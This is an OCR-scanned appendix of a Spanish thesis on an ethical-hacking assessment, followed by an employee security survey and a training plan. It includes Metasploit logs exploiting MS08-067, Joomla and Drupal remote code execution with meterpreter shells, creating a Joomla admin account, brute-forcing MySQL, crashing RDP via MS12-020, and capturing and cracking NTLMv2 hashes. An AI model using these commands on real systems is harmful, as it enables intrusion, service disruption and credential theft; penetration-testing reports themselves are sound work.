llustracion 45 Software y sistemas operativos

Attribute Walue
All software found (3) - Times found

Microsoft Office Fii

Microsoft Office 2000 4

Adobe Photoshop 7.0 2

All operating systems found (4] - Times found

Windows XP 55
Windows Server 2000 4
Windows 7 16
Windows Vista 2

Fuente: Elaboraciéon Propia

Interpretacion:

- Al detectar el tipo de sistema operativo y el software utilizados en la empresa, esto
puede ser de mucha importancia para el atacante, este podria investigar las
vulnerabilidades para luego explotarlas con la finalidad de obtener acceso al

equipo.
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Anexo 8 Vulnerabilidad ms08 067 netapi

Esta vulnerabilidad se basa en la ejecucion remota de cdédigo. Un atacante que
aprovecha esta vulnerabilidad podria tomar el control completo de un sistema afectado

de forma remota y ejecutar cédigo arbitrario.

llustracion 46 Vulnerabilidad MS08_067_netapi

Fuente: Elaboracién Propia

Interpretacion:

- El consultor al detectar esta vulnerabilidad en uno de los servidores, utilizé un
exploit de la herramienta Mestasploit, logrando obtener una sesion remota hacia
el servidor, el boletin de seguridad de Microsoft MS08 067 esta categorizado
como critico, e implica una vulnerabilidad en el servicio Server que permitiria la

ejecucion de codigo
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Anexo 9 Creacion de cuentas con privilegios de administrador

Utilizando la herramienta  metasploit el consultor utiliz6 el auxiliar
(admin/http/joomla_registration_privsec) con el objetivo de crear una cuenta con

privilegios administrativos en las versiones 3.4.4 a 3.6.3 de Joomla.

llustracion 47 Cuentas con privilegios de administrador

msf5 auxiliary(admin/http/joomla_registration_privesc) > show options

|Module options {(auxiliary/admin/http/joomla registration privesc):

Name Current Setting Required Description

EMAIL pooll@gmail.com yes Email to receive the activation code for t

PASSWORD 123456 yes Password for the username

Proxies no A proxy chain of format type:host:port[,ty
-1

RHOSTS 192.168.187.139 yes The target address range or CIDR identifie

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI /joomla yes The relative URI of the Joomla instance

USERNAME pooll2 yes Username that will be created

VHOST no HTTP server virtual host

msf5 auxiliary(admin/http/joomla_registration_privesc) = run
Running module against 192.168.187.139

Trying to create the user!
PWND - Your user has been created
Username: pooll2
Password: 123456
Email: pooll@gmail.com
Auxiliary module execution completed
msf5 auxiliary(admin/http/joomla_registration_privesc) = I

Fuente: Elaboracién Propia

Interpretacion:

- El consultor logré crear una cuenta con el nombre de usuario pooll2 y contrasefa

123456 en la plataforma administrativa instalada (Joomla) del cliente.
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Anexo 10 Ejecuciéon remota de codigo

Joomla sufre de una ejecucion remota de cddigo no autenticada que afecta a todas las
versiones desde la 1.5.0 a la 3.4.5. Al almacenar encabezados proporcionados por el
usuario en la tabla de sesién de bases de datos, es posible truncar la entrada enviando

un caracter UTF-8

llustracion 48 Ejecucién remota de cddigo

msf5 exploit(multi/http/joomla http_ header rce) > show options

Module options (exploit/multi/http/joomla_http_header rce):

Name Current Setting Required Description

HEADER USER-AGENT yes The header to use for exploitation (Accepted: USER-AGENT, X-FORW
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.187.139 yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI /joomla yes The base path to the Joomla application

VHOST no HTTP server virtual host

payload options (php/meterpreter/bind tcp):

Name  Current Setting Required Description

LPORT 4444 yes The 1listen port

RHOST 192.168.187.139 no The target address
Exploit target:

Id Name

0] Joomla 1.5.8 - 3.4.5
msf5 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
targeturi == /joomla/
msf5 exploit(multi/http/joomla_http_header_rce) > run

192.168.187.139:80 - Sending payload ...

Started bind TCP handler against 192.168.187.139:4444

Sending stage (38247 bytes) to 192.168.187.139

Meterpreter session 1 opened (192.168.187.134:34647 -> 192.168.187.139:4444) at 2019-08-06 02:09:45 -

meterpreter > 1s
Listing: C:\xampp

Fuente: Elaboracién Propia

Interpretacion:

- El consultor al utilizando el exploit: “exploit/multi/http/joomla_http_header_rce”, y
ingresando la direccion ip de la victima, el path del joomla y utilizando un payload

habilitando una Shell pudo vulnerar el Joomla instalado del cliente.
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Anexo 11 FTP Usuario por default

llustracion 49 Acceso FTP

[ERRFIvRTR - -

Portapapeles

Organizar Nuevo Abrir Seleccionar
= w4 ¥ Internet » 192.1680.27
"
# Acceso rapido -| datos.bt = Resumen de ingresos 2013.docx m =| Resumen deingresos 2016.docx
I Escriteric
‘ Descargas = Resumen de ingresos 2017.docx = Resumen de ingresos.docx
| Documen m m

& Imagenes

Fuente: Elaboracion Propia

Interpretacion:

El consultor después de realizar un escaneo de puertos, pudo identificar que uno
de los servidores tenia habilitado el servicio ftp, sin embargo, este no tenia ninguna
proteccion ya que cualquier usuario podria ingresar sin ningun tipo de restriccion,
logrando ingresar y encontrando archivos con informacion sensible.
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Anexo 12 Vulnerabilidad Drupageddon

Drupageddon fue publicada el 28 de marzo por el equipo Drupal (CVE-2018-7600), la
cual permite la ejecuciéon remota de cédigo en las versiones 7.x 8.x y ha sido calificada

como critica.

llustracion 50 Vulnerabilidad drupageddon

msf5 exploit(multi/http/joomla_http_header_rce) > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > show options

Module options (exploit/multi/http/drupal drupageddon):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

S5L false no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes The target URI of the Drupal installation

VHOST no HTTP server virtual host

Exploit target:
Id Name

0 Drupal 7.@ - 7.31 (form-cache PHP injection method)

msf5 exploit(multi/http/drupal_drupageddon) > set rhosts 192.168.187.139
rhosts => 192.168.187.139

msfS exploit(multi/http/drupal_drupageddon) > set targeturi /drupal/
targeturi == /drupal/

msf5 exploit(multi/http/drupal_drupageddon) > run

Started reverse TCP handler on 192.168.187.134:4444
Sending stage (38247 bytes) to 192.168.187.139
Meterpreter session 2 opened (192.168.187.134:4444 -> 192.168.187.139:49167) at 2019-08-06 02:19:45 -840(

meterpreter > ||

Fuente: Elaboracion Propia

Interpretacion:

- El consultor después de realizar un escaneo de vulnerabilidades, pudo identificar
gue la version instalada de Drupal tenia una vulnerabilidad llamada drupageddon.
Mediante el uso del exploit: “exploit/multi/http/drupal_drupageddon” logré realizar

el ataque con éxito.
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Anexo 13 Ataque de fuerza bruta MYSOL

llustracion 51 Ataque de fuerza bruta MYSQL

msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.181

rhosts == 192.168.187.139 1
msf5 auxiliary(scanner/mysql/mysql_login) = show options 123456
admin
Module options (auxiliary/scanner/mysql/mysql legin): toor
i ) o pentester
Name Current Setting Required Description administrador
o o T ITTIT e Trrmn e T e hacker
BLANK_PASSWORDS false no Try blank Pass¥qkynet
BRUTEFORCE SPEED 5 yes How fast to br
DB ALL CREDS false no Try each user/j
DB_ALL_PASS false no Add all passwo
DB ALL USERS false no Add all users ]
PASSWORD no A specific pass
PASS FILE no File containing
Proxies no A proxy chain ¢
RHOSTS 192.168.187.139 yes The target add
RPORT 3306 yes The target pori
STOP_ON SUCCESS false yes Stop guessing v
THREADS 1 yes The number of
USERNAME root no A specific use
USERPASS FILE /root/Desktop/clave no File containing
USER_AS_PASS false no Try the usernan
USER FILE no File containing
VERBOSE true yes Whether to prir

msf5 auxiliary(scanner/mysql/mysql_login) > run

192.168.187.139:3306 - 192.168.187.139:3306 - Found remote My
192.168.187.139:3306 - No active DB -- Credential data will n
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: :
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: 1
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: 13
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: ac
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: ft¢
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: pe
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIN FAILED: ac
192.168.187.139:3306 - 192.168.187.139:33086 - LOGIN FAILED: hg
192.168.187.139:3306 - 192.168.187.139:3306 - LOGIW FAILED: sl
192.168.187.139:3306 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf5 auxiliary(scanner/mysql/mysql_ login) = D

P — e p— — p— p— p— p—
]
e et et e et et d e

Fuente: Elaboracion Propia

Interpretacion:

- El consultor después de realizar un escaneo de puertos, pudo identificar que en
uno de los equipos cliente, se encontraba instalado un mysql, asi mismo utilizando
un diccionario de contrasefias generas junto con el auxiliar: “use
auxiliary/scanner/mysql/mysql_login” e ingresando la IP de la victima, pudo

identificar que el usuario del mysql tenia una contrasefia vacia.
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Anexo 14 Vulnerabilidad Remote Desktop Protocol (RDP)

El servicio (RDP) de Microsoft Windows no resuelve correctamente los paquetes en la
memoria, lo que le permite a un ciber delincuente ejecutar cddigo arbitrario mediante el

envio de paquetes RDP modificados.

llustracion 52 MS12_ 020

msf5 exploit(windows/smb/ms08_067 netapl) > use auxiliary/scanner/rdp/msl2 820 check
msf5 auxiliary(scanner,/rdp,/msl2_ 020 check) = show options

JModule options {(auxiliary/scanner/rdp/msl2 020 check):

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 3389 yes Remote port running RDP (TCP)

THREADS 1 yes The number of concurrent threads

msf5 auxiliary(scanner/rdp,/ms12_020_check) > set rhosts 192.168.187.140
rhosts => 192.168.187.140
msf5 auxiliary(scanner/rdp/msl2_020_check) = run

192.168.187.140:3389 - 192.168.187.140:3389 - The target is vulnerable.
192.168.187.140:3389 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf5 auxiliary(scanner/rdp/msl2_020_check) > I

msf5 auxiliary(dos/windows/rdp/msl2_0620_ maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/msl12_020 maxchannelids):

Name Current Setting Required Description
RHOSTS 192.168.187.140 yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP)

msf5 auxiliary(dos/windows/rdp/msl2_ 0620 maxchannelids) > run
Running module against 192.168.187.14@

192.168.187.140:3389 - 192.168.187.140:3389 - Sending M512-020 Microsoft Remote Desktop Use-Af
S
.187.140:3389 - 192.168.187.140:3389 - 210 bytes sent
192.168.187.140:3389 - 192.168.187.140:3389 - Checking RDP status...
192.168.187.140:3389 - 192.168.187.140:3389 seems down
Auxiliary module execution completed
msf5 auxiliary(dos/windows/rdp/msl2_020_maxchannelids) > I
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s been shut

¥5 — Address FFFFFADFEZ

Fuente: Elaboracién Propia

Interpretacion:

- El consultor después de realizar un escaneo de vulnerabilidades, pudo identificar
gue en uno de los equipos cliente, existia la vulnerabilidad MS12-020 y mediante
el uso de un auxiliar: “use auxiliary/scanner/rdp/ms12_020 check “pudo validar
que esta falla no era un falso positivo. Asi mismo utilizando un exploit:
“auxiliary/dos/windows/rdp/ms12_020_maxchannelids” pudo  explotar la

vulnerabilidad, generando un ataque de negacion de servicios.
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Anexo 15 Interceptando trafico para capturar el hash de los usuarios

Responder, es un envenenador LLMNR, NBT-NS y MDNS, con un servidor de
autenticacion falso HTTP/SMB/MSSQL/FTP/LDAP incorporado que admite
NTLMvV1I/NTLMv2/ LMv2, NTLMSSP de seguridad extendida y autenticacion
HTTP basica.

llustracion 53 Captura de hash de usuarios

Listening for events...

NTLMvZ2-SSP Client
NTLMy2-55P Username : B
NTLMv2-5SP Hash

[®) Computer usr share responder ‘ logs ~ |

ent
rred = = = = = =]
ne T _ T
Analyzer-Session. Config-Responder. HTTP-NTLMv2- Poisoners-Session. Responder-Session. SMBv2-NTLMv2-
ktop log log 192.168.1.151.ixt log log 55P-192.168.1.151.
ot
uments
vnloads

:nndHI /Logs# john SMBv2-NTLMv2-55P-192.168.1.151.txt

g: UTF-8
vith no different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

p
4 OpenMP th
dMQthsmg
any other key for status
for the current salt, minimum 8

ining buffered candidate passwords, if any
candidates buf ered for the current salt, minimum 8
e ormance.
i g with wordlist:/usr/share/john/password.lst, rules:Wordlist

s 123456..pepperl
ords reliably

Fuente: Elaboracién Propia

Interpretacion:

- Elconsultor utilizando responder pudo interceptar la comunicacion de los usuarios,
logrando encontrar el hash de un usuario y mediante john the Ripper logré
crackear la contrasenfa.
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Anexo 16 Cuestionarios

a) ¢Usted sabe qué es un sistema operativo?
- Sl
- No

llustracion 54 Concepto del sistema operativo

0%

= Si. = No

Fuente: Elaboracion Propia

Interpretacion:

El 100% de los encuestados, sabe que es un Sistema Operativo.

b) ¢Qué sistema operativo usa con mas frecuencia?
- Windows

- Linux

llustracion 55 Sistema operativo actualizado

~

= Windows = Linux

Fuente: Elaboracion Propia

Interpretacion:

El 83% de encuestados utilizan el Sistema Operativo Windows y el 17% de usuarios
utilizan el Sistema Operativo Linux. Sin embargo, no saben qué tipo de vulnerabilidades

pueden poseer dichos sistemas operativos.
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c) ¢Usted sabe qué es un Ethical Hacking?
- Sl
- No
llustracion 56 Concepto de ethical hacking

Si

' 17%

No
83%
= Si = No

Fuente: Elaboracién Propia

Interpretacion:

El 17% de los encuestados saben lo que significa un Ethical Hacking, pero el 83% no

sabe que es un Ethical Hacking.

d) ¢Laempresa actualmente tiene politicas de seguridad?
- Sl
- No

llustracion 57 Politica de seguridad

Si
33%

No
67%

= Si = No

Fuente: Elaboracién Propia

Interpretacion:

El 33% de los encuestados responde que la empresa si cuenta con politicas de

seguridad, sin embargo, el 67% no tienen conocimiento alguno.
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e) ¢Existe una persona que se dedique netamente a revisar la seguridad de la
empresa?
- Sl
- No

llustracion 58 Encargado de seguridad

Si

83%
= Si = No

Fuente: Elaboracion Propia

Interpretacion:

El 17% de los encuestados responde que la empresa si cuenta con una persona
encargada para revisar la seguridad informatica de la empresa, sin embargo, el 83%

responde que no.

f) ¢ Cuéando fue la Ultima vez que asistié a un evento, charla o capacitacion sobre la
ciberseguridad?
- 3 meses
- 6 meses
- Nunca

llustracion 59 Eventos de seguridad

3 meses
33%

Nunca
50%

6 meses
17%
® 3 meses ® 6 meses = Nunca

Fuente: Elaboracion Propia
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Interpretacion:

El 33% de los encuestados responde que hace 3 meses asistié a una capacitacion de
ciberseguridad, el 17% respondié que hace que 6 meses asistieron y el 50% respondio

gue hasta la actualidad nunca han asistido a alguna charla de ciberseguridad.

g) ¢Sabia usted que las computadoras actualmente presentan fallas de seguridad?
- Sl
- No
llustracion 60 Conocimientos de seguridad

No
33%

Si
67%

= Si = No

Fuente: Elaboracién Propia

Interpretacion:

El 67% de los encuestados creen que las computadoras de la empresa presentan fallas
de seguridad, sin embargo, el 33% piensan que los ordenados no tienen fallas de

seguridad.

h) ¢Sabe como reaccionar ante algun cyber ataque?
- Sl
- No
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llustracion 61 Conocimientos de cyber ataques

Si

’17%

No
83%
= Si = No

Fuente: Elaboracion Propia

Interpretacion:

El 83% de los encuestados no saben como reaccionar ante algun ciber ataque, sin

embargo, el 17% si sabe como reaccionar.

i) ¢Usted conoce el termino ingeniera social? Y ¢ Qué tan facil es vulnerarlo por
medio de este término?
- SI
- No

llustracion 62 Conocimientos de ingenieria social

Si

83%
= Si = No

Fuente: Elaboracién Propia

Interpretacion:

El 83% de los encuestados no saben que es un ataque de ingenieria social, pero el 17%

si tiene conocimiento sobre un ataque de ingenieria social.
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j) ¢Sabia usted que una persona maliciosa podria robarle toda su informacion
valiosa de una manera remota?
- Sl
- No

llustracion 63 Concientizacién en ciberseguridad

Si

’17 %

No
83%
= Si = No

Fuente: Elaboracién Propia

Interpretacion:

El 83% de los encuestados no saben que pueden ser “hackeados” de manera remota y
el 17% si lo sabe.

k) ¢ Suelen actualizar los ordenadores?
- Sl
- No

llustracion 64 Actualizacion de sistemas operativos

Si

83%
= Si = No

Fuente: Elaboracion Propia

Interpretacion:

El 83% de los encuestados no actualizan sus ordenadores y el 17% si los actualizan, lo
gque esto significa que los ordenadores de aquellas personas que no los suelen

actualizar podrian estar expuestos.

135



Anexo 17 Plan de capacitacion

Se recomienda implementar el siguiente plan de capacitacion:

Tabla 28 Plan de capacitacion

NUMERO
EDT

TITULO DE LA TAREA

RESPONSABLE
DE LA TAREA

FECHA DE
INICIO

FECHA DE
ENTREGA

DURACION
DIiA

Metodologia Ethical
Hacking

11

Definicidon de la
metodologia

Pool Carrasco

02/01/20

03/01/20

1.2

Conceptos generales
de la seguridad
informatica

Pool Carrasco

02/01/20

03/01/20

1.3

Fases de la
metodologia

Pool Carrasco

02/01/20

03/01/20

Ethical Hacking
Infraestructura

2.1

Deteccion/Analisis de
Vulnerabilidades -
Servidores

Pool Carrasco

04/01/20

07/01/20

2.2

Evaluacién de
Vulnerabilidades en
protocolo de
comunicacion:

Pool Carrasco

07/01/20

08/01/20

2.2.1

-Wireshark

Pool Carrasco

07/01/20

08/01/20

2.2.2

-Analisis de Trafico /
Protocolos de Red

Pool Carrasco

07/01/20

08/01/20

2.3

Seleccidn de
Vulnerabilidades
(CONTROL)

Pool Carrasco

09/01/20

10/01/20

2.3.1

Recomendaciones
para la mitigacion

Pool Carrasco

10/01/20

12/01/20

Ethical Hacking
Aplicaciones web

3.1

Deteccion/Analisis de
Vulnerabilidades -
Aplicaciones web

Pool Carrasco

13/01/20

16/01/20

3.2

Evaluacién de
Vulnerabilidades en
protocolo de
comunicacion

Pool Carrasco

17/01/20

18/01/20

3.3

OWASP Testing Guide
- pruebas de
seguridad

Pool Carrasco

17/01/20

19/01/20
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3.4 Seleccién de Pool Carrasco 19/01/20 | 20/01/20
Vulnerabilidades
(Control)

3.5 Recomendaciones Pool Carrasco 20/01/20 | 21/01/20
para la mitigacién

4 Ingenieria social

4.1 Conceptos generales Pool Carrasco 22/01/20 | 22/01/20

4.2 Ejemplos de Pool Carrasco 22/01/20 | 23/01/20
ingenieria social

5 Analisis de
vulnerabilidades

5.1 Conceptos generales Pool Carrasco 24/01/20 | 24/01/20

5.2 Software de analisis Pool Carrasco 24/01/20 | 26/01/20
de vulnerabilidades

53 Ventajas y Pool Carrasco 26/01/20 | 26/01/20
desventajas

Fuente: Elaboracién propia
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